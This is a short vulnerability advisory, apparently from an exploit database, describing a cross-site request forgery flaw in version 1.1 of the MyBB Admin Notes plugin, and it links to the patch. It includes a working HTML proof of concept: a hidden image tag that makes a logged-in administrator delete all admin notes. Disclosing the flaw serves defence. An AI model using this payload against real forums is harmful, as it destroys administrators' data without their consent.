MyBB Admin Notes 1.1 Cross Site Request Forgery

2018.05.17
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

# Exploit Title: MyBB Admin Notes Plugin - CSRF # Date: 2018-05-14 # Author: 0xB9 # Contact: luxorforums.com/User-0xB9 or 0xB9[at]pm.me # Software Link: https://community.mybb.com/mods.php?action=view&pid=1106 # Version: 1.1 # Tested on: Ubuntu 18.04 # 1. Description: The plugin allows administrators to save notes and display them in a list in the ACP. The CSRF allows an attacker to remotely delete all admin notes. # 2. Proof of Concept: <html> <body> <img style="display:none" src="http://localhost/mybb/admin/index.php?empty=table" alt=""> </body> </html> # 3. Solution: # Update to the latest release # Patch: https://github.com/vintagedaddyo/MyBB_Plugin-adminnotes/commit/3deae701cdd89753cb6688302aee5b93a72bc58b?diff=split


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